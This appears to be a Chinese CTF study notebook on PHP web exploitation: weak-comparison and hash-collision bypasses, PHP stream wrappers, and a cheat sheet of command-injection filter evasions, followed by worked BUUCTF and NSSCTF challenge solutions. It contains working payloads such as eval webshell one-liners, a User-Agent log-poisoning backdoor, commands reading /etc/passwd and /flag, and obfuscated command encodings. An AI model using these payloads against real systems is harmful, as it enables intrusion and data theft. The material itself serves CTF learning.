//"0e123456"=="0e456789"相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等

对于数字这一块,如果要求 a > 10000,但是又要求a不能超过四位数,就可以用科学计数法来绕过

比如给个 a = 1e6就可以了

例题:

1
2
3
4
5
6
7
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

直接传 num = 1abc 即可

MD5弱比较

MD5 信息摘要算法是一种被广泛使用的密码散列函数,可以产生出一个 128 位(16字节)的散列值用于确保信息传输完整一致。而 PHP 在处理哈希字符串时,“0e” 开头的值利用 “==” 判断相等时会被视为 0。所以如果两个不同的密码经过哈希以后,其哈希值都是以 ”0E” 开头的,那么 PHP 将会认为他们相同,这就是所谓的 MD5 碰撞漏洞

因为当hash开头为0e后全为数字的话,进行比较时就会将其当做科学计数法来计算,用计算出的结果来进行比较

1
2
md5($str1)=0e420233178946742799316739797882
md5($str2) == '0' //true

这里给出以下两段字符串,用于绕过MD5的弱比较,

常见形式:md5($a) == md5($b) && $a !== $b

1
2
3
4
5
s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

MD5弱比较(分别为数字和字母)

比如看到以下类似的

1
2
3
4
5
6
7
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
$checker_2 = TRUE;
}
}

其中 ctype_alpha() 是检查是不是纯字母的

这里我们可以用以下来绕过(下面是倒置过的)

1
2
OZDCKNQ
807016042

没倒置的

1
2
3
4
md5加密之后前两位为0e 的纯数字:
240610708 314282422 571579406 903251147
md5加密之后前两位为0e 的纯字母:
QLTHNDT QNKCDZO EEIZDOI TUFEPMC

[NSSRound#16 Basic]了解过PHP特性吗 | NSSCTF

MD5强碰撞

遇到 md5($_GET[‘username’]) === md5($_GET[‘password’])

你让

1
2
a[] = 1
b[] = 1

因为hash解析不了数组,会直接返回NULL,这样两边都是NULL,也是能返回true的

string转换后的md5强比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
//here is level 2
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
$a1 = (string)$_POST['array1'];
$a2 = (string)$_POST['array2'];
if ($a1 == $a2){
die("????");
}
if (md5($a1) === md5($a2)){
echo $level3;
}
else{
die("level 2 failed ...");
}

}
else{
show_source(__FILE__);
}
?>

array1[]=1&array2[]=2本来觉得数组绕过就可以可是,发现输出了????

原因是php的数组在进行string强制转换时,会将数组转换为NULL类型 null=null就成立了,没绕过去

所以我们需要一个,md5前不相等,而md5后全等的

1
array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

SHA1强碰撞

1
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

直接上这个就可以,记得改一下变量名字

要求MD5和SHA1分别相等

1
2
3
4
5
6
7
a = 1
b = '1'

或者

a = 0
b = 0E1

Error类

1
$c->a=new Error("a",1);$c->b=new Error("a",2)

[BUUCTF在线评测](https://buuoj.cn/challenges#[极客大挑战 2020]Greatphp)

URL二次编码绕过

题目的源码如下,首先题目需要输入变量 id,且变量 id 不能包含字符串 “hackerDJ”。接着使用 urldecode() 函数进行 url 解码,需要令解码后的字符串等于 “hackerDJ”

1
2
3
4
5
6
7
8
9
10
11
Copy Highlighter-hljs<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("not allowed!");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ"){
echo "Access granted!";
echo "flag";
}
?>

在 URL 编辑框中可以使用 URL-encode 来替代字符,例如 “h” 的 URL 编码是 “%68”,此时输入 “%68ackerDJ” 等同于输入 “hackerDJ”。由于源码会使用 urldecode() 函数进行 url 解码,因此可以对 “%68ackerDJ” 进行 url 编码,让传入的字符串通过第一个条件语句,在解码之后通过第二个分支语句。所以提交的 payload 应该是 “%68ackerDJ” 的 URL 编码

1
?id = %2568ackerDJ

数组绕过正则匹配

PHP中正则函数(如preg_match())会将数组参数转换为字符串“Array”,这使得数组可绕过正则匹配

1
2
3
4
5
6
7
<?php
if (preg_match('/^[a-zA-Z]+$/', $_GET['input'])) {
echo "Valid input";
} else {
echo "Invalid input";
}
?>

构造payload:

1
?input[]=test

preg_match()将其转为字符串“Array”,从而绕过正则检测

extract覆盖漏洞

extract()函数用于将数组元素导入当前符号表,若数组由外部输入控制,可能导致变量覆盖

原因extract()未对输入数组进行充分过滤,攻击者可构造恶意数组覆盖现有变量

应用:在代码中使用extract()处理外部可控数组时,攻击者可覆盖关键变量,改变程序逻辑

示例代码

1
2
3
4
5
<?php
$a = 'original';
extract($_GET['data']);
echo $a;
?>

构造payload

1
?data[]=a&data[]=hacked

这样,extract()data数组元素导入符号表,覆盖了变量$a,使其变为“hacked”

数组绕过strcmp比较

strcmp()函数比较两个字符串,若参数类型不同会进行类型转换,数组转为NULL,比较时NULL与空字符串视为相等

1
2
3
4
5
6
7
<?php
if (strcmp($_GET['input'], 'secret') === 0) {
echo "Access granted";
} else {
echo "Access denied";
}
?>

构造payload:

1
?input[]=secret

$_GET['input']是数组,strcmp()将其转为NULL,与空字符串比较返回0,导致验证被绕过

creat_function()代码注入

1
2
3
4
5
6
creat_function函数根据传递的参数创建匿名函数,并为其返回唯一名称
语法:
create_function(string $args,string $code)
string $args 声明的函数变量部分

string $code 执行的方法代码部分

例子:

1
2
<?php
$newfunc = create_function('$a, $b', 'return $a + $b;');

那么相当于创建了一个函数:

1
2
3
function newfunc($a,$b){
return $a + $b;
}

好了,明白了以上原理,来看以下注入代码:

1
2
3
4
5
6
<?php
$id = $_GET['id'];
$str = 'echo '.$id.';';
$ft = creat_function('$id',$str);
$ft($id);
?>

上面代码的意思就是创建了以下函数:

1
2
3
4
<?php
function ft($id){
echo $id;
}

如果你给 id 赋值 ;}phpinfo();/*,相当于把前面的函数提前闭合而后面又执行一个phpinfo(),从而达到一个RCE的效果

PS:从 PHP 7.2.0 开始,create_function 被废弃,在 PHP 8.0.0 中,该函数已被删除

PHP伪协议

img

data伪协议

data://[<MIME-type>][;charset=][;base64],<data>

  • MIME-type:指定数据的类型,默认是 text/plain。
  • charset:指定数据的编码类型,如 utf-8。
  • base64:如果使用 Base64 编码,则加上该标识。
  • data:实际的数据内容。

text/plain 的具体含义

text/plain MIME 类型:

  1. 表示数据是普通文本文件,没有任何特定的格式或编码。
  2. 在 PHP 的文件包含漏洞中,当使用 data://text/plain 时,PHP 会将数据视为纯文本进行读取。
  3. 但是,如果该文本数据本身是 PHP 代码(如 <?php system('ls'); ?>),且它被 include()、require() 等函数加载,那么它会被当作 PHP 代码解析和执行。

data://text/plain 的实际作用

在 LFI 漏洞中使用 data://text/plain 可以让我们通过 URL 注入 PHP 代码,并且这些代码会在服务器端执行。

示例:执行系统命令

URL:

?file=data://text/plain,<?php system('ls'); ?>

解释:

  • data:// 告诉 PHP 加载内联数据。
  • text/plain 表示数据是纯文本类型,但在通过 include() 加载时,PHP 会解析文本中的代码片段(如 <?php system('ls'); ?>),并将其执行。

php://filter

1
2
3
?file=php://filter/read=convert.base64-encode/resource=flag.php

?file=php://filter/convert.base64-encode/index/resource=flag(.php)有时候不需要括号

或者可以用UTF-7

1
2
3
4
5
6
7
8
9
php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php

<?php
$a = "+ADw?php +ACQ-flag+AD0'cyberpeace+AHs-79013c3265f804bbbd60aedc255313f3+AH0'+ADs";

// 这里的a放回显出来的内容

$b = iconv("UTF-7,"UTF-8",$a);
echo($b);

php://input

1
2
3
4
5
?a=include$_GET[x]&x=php://input

POST:
<?php system("ls -lah")?>
//<?php system("tac flag.php")?>

RCE(Php)

RCE(远程代码执行漏洞)函数&命令&绕过总结 - 星海河 - 博客园

以一道CTF题目看无参数RCE - 泠涯 - 博客园

CTF中的RCE绕过-腾讯云开发者社区-腾讯云

概念

RCE,即远程代码执行(Remote Code Execution),远程命令/代码执行漏洞,简称为RCE漏洞,可以直接向服务器后台远程注入操作系统的命令或者代码,从而拿到服务器后台的权限。RCE分为远程执行命令(执行ping命令)和远程代码执行eval

RCE命令注入分类

  • 无过滤
  • 过滤cat
  • 过滤空格
  • 过滤目录分隔符
  • 过滤运算符
  • 综合过滤练习

RCE绕过指南

命令绕过

命令执行函数:

1
2
3
4
5
6
7
system()               输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上//替换system
echo+`` ?c=echo `tac flag.php`;
shell_exec()
popen()/proc_open()
print(`cat /flag`)

输出函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ls      列出目录并输出
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
nl 类似于cat -n,显示时输出行号
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
sort 文件内容进行行间的排序并输出文本 sort flag.php
vim 一种编辑器,这个也可以查看
od 以二进制的方式读取档案内容
vi 一种编辑器 vi flag.php
strings 在对象文件或二进制文件中查找可打印的字符串, 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
paste 把每个文件以列对列的方式,一列列地加以合并
grep 查询文件中包含某个特定字符串的行并输出 grep 'fla' flag.php
sed 一种编辑器,可以用sed -f flag.php读取flag (sed也可以用来删除特定字符)
rev 反转
uniq 删除文件重复行并输出剩余内容,可以用于文件读取。与cat一样,结果在源代码
base64 可以读取flag.php并编码后输出 (/bin/base64)base64 flag.php
mv 对文件进行重命名,通过修改后缀名为txt,可以直接在网页中访问txt文件 mv f?lg.php a.txt
cp 将flag的内容复制到1.txt上,然后访问/1.txt文件读取 cp flag.php 1.txt
awk awk '{print}' /fla* 打印`/` 目录下所有以 `fla` 开头的文件中的每一行内容
assert assert(eval($_POST[%27x%27]));

空格绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
${IFS}

/**/

$IFS$9 比如 tac$IFS$9flag.php

%20

%09

<>

<

_

-

%a0

等号绕过

like

_ 绕过

另外在解析中例如,e_v.a.l中的_会变成 e.v.a.l,这时就需要给改成 e[v.a.l

[ 或者是 + \x5f

八进制绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
function waf($cmd){
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
$cmd_char = str_split($cmd);
foreach($cmd_char as $char){
if (!in_array($char, $white_list)){
die("really ez?");
}
}
return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);

知识点:linux中使用$’xxx’(xxx为字符的八进制)的形式可以执行任意代码

1
$'\154\163' //执行ls

发现可以成功执行

但是八进制的执行方法不能执行带有参数的linux命令,如cat /flag(/flag为参数)或ls -la(-la为参数)

重定向符号可以代替命令中的空格

最终payload

1
$'\143\141\164'<$'\57\146\154\141\147' // cat</flag

编码脚本:

1
2
3
4
5
6
7
8
def encode_to_octal(input_string):
# 将每个字符转换为其ASCII码的八进制表示
return ''.join(f'\\{oct(ord(c))[2:]}' for c in input_string)

# 测试
input_string = "cat"
encoded_string = encode_to_octal(input_string)
print(f"Encoded: {encoded_string}")

解码脚本:

1
2
3
4
5
6
7
8
9
10
11
def decode_from_octal(octal_string):
# 分割八进制字符串,并将每个八进制值转换为字符
characters = octal_string.split('\\')[1:] # 去掉空字符串部分
decoded_string = ''.join(chr(int(oct(c), 8)) for c in characters)
return decoded_string

# 测试
octal_string = "\\143\\141\\164"
decoded_string = decode_from_octal(octal_string)
print(f"Decoded: {decoded_string}")

/ 绕过

就是让你无法穿越目录

可利用 ; 拼接命令绕过

cd ..;cd ..;cd ..;cd ..;cd etc;cat passwd

# 绕过

--+ %23

换行符绕过

对于?s正则匹配单行模式下,默认 . 不匹配换行符,可以绕过

%0a

. 绕过

[]

* 通配符绕过

tac /f* 表示输出以 f 开头的文件里的内容

‘ ‘ 空字符匹配绕过

fl''ag = flag

\ 匹配绕过

?c=system("tac fl\ag.php")

\转义字符,通常用于转义后面的字符,fl\ag.php 会被解释为 flag.php

? 占位绕过

?c=system("tac f???????")

? 被用作通配符,代表 任何单个字符

在 Linux 中,f??????? 可以匹配任何以 f 开头并包含 7 个任意字符的文件名

flag绕过

f???

f""lag

f/lag

f''lag

cmd=echo file_get_contents("/fla"."g");

URL编码绕过

就是例如 ; 被过滤了,就可以进行URL编码

其他特殊字符也同理

php绕过

<?=

<%

<?echo ?>(命令放在里面)

and绕过

&&

全部字母绕过

全角半角转换工具_蛙蛙工具

其中 111 115 分别对应 os 的 ASCII 码,99 97 116 32 47 102 108 97 103 分别对应 cat /flag 的 ASCII 码

1
__import__(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))

传参绕过

eval函数

1
2
?c=eval($_GET[x]);&x=system("ls");
?c=eval($_GET[x]);&x=system("tac flag.php");

include函数

1
?c=include($_GET[x]);&x=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php

如果(;被过滤:
%0a 是 URL 编码中表示换行符(\n)的字符。从而使得 include 语句和 $_GET[1] 的处理被分开,从而绕过过滤机制,不过include函数这里不加(也是可以的
php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号

1
2
?c=include%0a$_GET[1]?>&1=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php
?c=include$_GET[1]?>&1=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php

日志包含

既然能够执行文件包含,那么也可以包含日志文件,日志文件中会记录你的UA头,假设我们在UA头中写入后门代码,然后我们包含日志文件,那么就能通过后门代码读取文件

1
2
3
?c=include$_GET[1]?>&1=../../../../var/log/nginx/access.log  

User-Agent:<?php eval($_POST['x']);?>

session_start()

1
2
3
?c = session_id(session_start());

Cookies:PHPSESSID=????

并在cookies中传入你需要执行的命令

变量挟持绕过

1
2
3
?c=eval(array_pop(next(get_defined_vars())));

POST传入: 1=system('tac fl*');
  • get_defined_vars()
    获取当前作用域中所有定义的变量,返回一个数组,键是变量名,值是对应的变量值
  • next(get_defined_vars())
    将指针移动到数组中的下一个元素,并返回该元素的值。在这里,指针操作的对象是由 get_defined_vars() 返回的数组
  • array_pop(...)
    弹出数组的最后一个元素。这里作用在 next(get_defined_vars()) 的结果上,获取这个数组的最后一个变量值

文件枚举绕过

  • getcwd() 函数返回当前工作目录的路径
  • scandir() 函数列出指定目录中的所有文件和目录,并返回一个包含文件和目录名称的数组
  • **show_source() **函数用于显示一个 PHP 文件的源代码
  • **localeconv()**返回一个包含本地数字及货币格式信息的数组,该数组的第一项就是’.’

这里的[2]要多尝试,flag文件的位置不一定会在第2位

1
?c=show_source(scandir(getcwd())[2]);

文件读取绕过

这个函数拼接实际上是上面的复杂版,适用于[]被过滤的情况,不能直接遍历scandir数组,只能使用指针操作来获取特定文件,由于前两个文件是...,因此用array_reverse函数从最后一个文件开始。由于指针操作函数的作用是返回值而非地址,因此不能嵌套使用,利用这种方式只能读取很有限的几个文件

1
2
3
4
读取最后一个文件
?c=show_source(current(array_reverse(scandir(getcwd()))));
读取倒数第二个元素
?c=show_source(next(array_reverse(scandir(getcwd()))));

还可以用另一个函数得到目录

1
2
?c=echo highlight_file(current(array_reverse(scandir(pos(localeconv())))));
?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

目录穿越绕过

1
2
3
4
5
c=print_r(scandir(dirname(__FILE__)));  // 读取当前目录
c=print_r(scandir(dirname(__DIR__))); // 读取上级目录
c=print_r(scandir(dirname(dirname(__FILE__))));//读取上级目录
c=print_r(scandir(dirname(dirname(__DIR__))));//读取上上级目录
c=print_r(scandir(dirname(dirname(dirname(dirname(__DIR__))))));
  • dirname() 用于获取路径的目录部分。dirname('FILE');返回 ‘.’
  • scandir() 列出指定目录中的文件和目录,返回一个数组
  • print_r() 输出变量的易读信息,适合用于调试和查看数组内容
  • __FILE__ __DIR__是php中的魔术方法,可以用于获取当前目录与上级目录,通过迭代dirname函数就能实现目录遍历
    输出:Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )

读取文件绕过

1
hightlight_file("flag.php")

或者可以写文件<?php highlight_file("var/www/html/includes/flag.php");?>

这点在PYCC的初赛中有所体现

相似的还有

show_source()

readgzfile()

require_once()


例题1-无过滤简单命令拼接

CTFHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}

?>
<?php
if ($res) {
print_r($res);
}
?>
</pre>

<?php
show_source(__FILE__);
?>

</body>
</html>

就是个简单的命令拼接(127.0.0.1;ls)

Shell 提供了多种方式来分隔命令,分号就是其中一种。它的作用是告诉 Shell,将分号前后的命令依次执行,而不考虑前一条命令是否执行成功 。例如,在命令 “ping -c 4 127.0.0.1;ls /” 中,Shell 先执行 “ping -c 4 127.0.0.1” 命令,不管这个命令是成功(返回 0)还是失败(返回非 0 值),都会接着执行 “ls /” 命令

  • Enter(换行符)
  • && 前一条命令执行成功(返回值为 0)时,才会执行后一条命令
  • 双管道符(||)前一条命令执行失败(返回值非 0)时,才会执行后一条命令
  • 管道符(|) 将前一条命令的输出作为后一条命令的输入
1
ls / | grep "txt"  # 列出根目录下包含 "txt" 的文件
  • 尖括号( < 和 > )

    特点

  • >:将命令输出重定向到文件(覆盖)。

  • >>:将命令输出追加到文件。

  • <:将文件内容作为命令的输入。

  • E.G:

    1
    2
    ls / > output.txt  # 将 ls 的输出保存到 output.txt
    sort < input.txt # 将 input.txt 的内容作为 sort 的输入

例题2-结合php & 过滤命令

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]R!C!E!) R!C!E!

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
$password=md5($_POST['password']);
$code=$_POST['e_v.a.l'];
if(substr($password,0,6)==="c4d038"){
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
}
}

直接脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib

prefix = "c4d038" # 目标MD5值的前六位
prefix_bytes = prefix.encode() # 将前缀转换为字节串

for i in range(100000000):
b = i.to_bytes(22, 'big')
m = hashlib.md5(str(i).encode()).hexdigest()

if m.startswith(prefix):
print(i)
print(m)
break

#114514

payload:

1
password=114514&e[v.a.l=echo(`nl /f*`);

BUUCTF在线评测 RCEService

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

putenv('PATH=/home/rceservice/jail'); // 限定了环境变量在这个目录下

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>

?cmd=%0a%0a{"cmd":"/bin/cat%20/home/rceservice/flag"}%0a%0a

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]Begin of PHP) Begin of PHP

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}

if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}

if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}

if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}

if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}

先看Level1

关于MD5强比较,直接数组绕过即可:

1
?key1[]=1&key2[]=2

再看Level2

这里的sha1()函数也是无法处理数组,会返回NULL值,因此严格等于左右相等

所以也直接数组绕过:

1
key3[]=3

看Level4

比较两个字符串,如果字符串1与字符串2相等,则返回0,如果字符串1大于字符串2则返回值大于0,如果字符串1小于字符串2则返回值小于0。但是,strcmp()依然无法操作数组,会返回NULL:

1
?key1[]=1&key2[]=2&key4[]=4

看Level5

1
key5[]=2024

最后:

在这里a-z,A-Z,0-9全被过滤了,就要用非字母和数字的方式将其绕过,用POST方式传递

1
flag5=.

CMCTF - CM::CTF 函数重生版

(不当人)

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
if(isset($_GET['i'])){
switch(strtolower(substr($_GET['i'],0,6))){
default:
if(!preg_match('/php|flag|zlib|ftp|system|shell_exec|exec|file_get_contents|proc_open|fopen|fgets|file_put_contents|file|fread|readfile|stream_get_contents|cat|more|tac|\:|\]|\[|\+|\-|\*|\eval|\^|\`|\"|\<|\>|\\|\/|\ssh/i',$_GET['i'])){
eval($_GET['i']);
}else{
die('error');
}break;
}
}

这里没过滤大括号和单引号,可以采用一个{}来代替[],然后参数逃逸一下

1
?i=eval($_GET{%27a%27});&a=assert(eval($_POST[%27x%27]));

可以直接蚁剑连

2025H&NCTF - 2025H&N::CTF Really_Ez_Rce

(更不当人)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
error_reporting(0);

if (isset($_REQUEST['Number'])) {
$inputNumber = $_REQUEST['Number'];

if (preg_match('/\d/', $inputNumber)) {
die("不行不行,不能这样");
}

if (intval($inputNumber)) {
echo "OK,接下来你知道该怎么做吗";

if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];

if (!preg_match(
'/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i',
$cmd
)) {
echo "你传的参数似乎挺正经的,放你过去吧<br>";
system($cmd);
} else {
echo "nonono,hacker!!!";
}
}
}
}

这个Number简单,直接给个数组就绕过了,Number[]=a,重点是这个正则

没过滤$,直接参数拼接

1
2
3
Number[]=a&cmd=b=l;c=s;d=/;$b$c%20$d;

Number[]=a&cmd=b=bas;c=e64;a=s;c=h;echo%2Y2F0IGZsYWcudHh0|$b$c%20-d|$a$c

BUUCTF在线评测 EasyByPass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

highlight_file(__FILE__);

$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];


if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
$comm1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
$comm2 = "";

$flag = "#flag in /flag";

$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';

$cmd = "file $comm1 $comm2";
system($cmd);
?>

发现对于comm1没有过滤"" ,就可以尝试闭合左右两边的双引号,且虽然过滤了flag,却没有过滤 ?

1
?comm1=index";tac /fla?;"&comm2=1

[BUUCTF在线评测](https://buuoj.cn/challenges#[红明谷CTF 2021]write_shell) Write_shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

php标签的php被过滤,可以换用短标签<?= code?>?>对于一组PHP代码中最后一句起到替代;

payload:

1
?action=upload&data=<?echo%09`ls%09/`?>

因为题目中过滤了php,所以用php短标签来绕过<?= ?>等效于<?echo ?>

1
$_SERVER['REMOTE_ADDR'];

输出访问者的IP地址

回溯限制

[NISACTF 2022]middlerce | NSSCTF

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include "check.php";
if (isset($_REQUEST['letter'])){
$txw4ever = $_REQUEST['letter'];
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
die("再加把油喔");
}
else{
$command = json_decode($txw4ever,true)['cmd'];
checkdata($command);
@eval($command);
}
}
else{
highlight_file(__FILE__);
}
?>
  • . 匹配任意一个字符(除换行符 \n 外,除非启用 s 模式)
  • * 表示前面的字符(或组)重复 0 次或多次

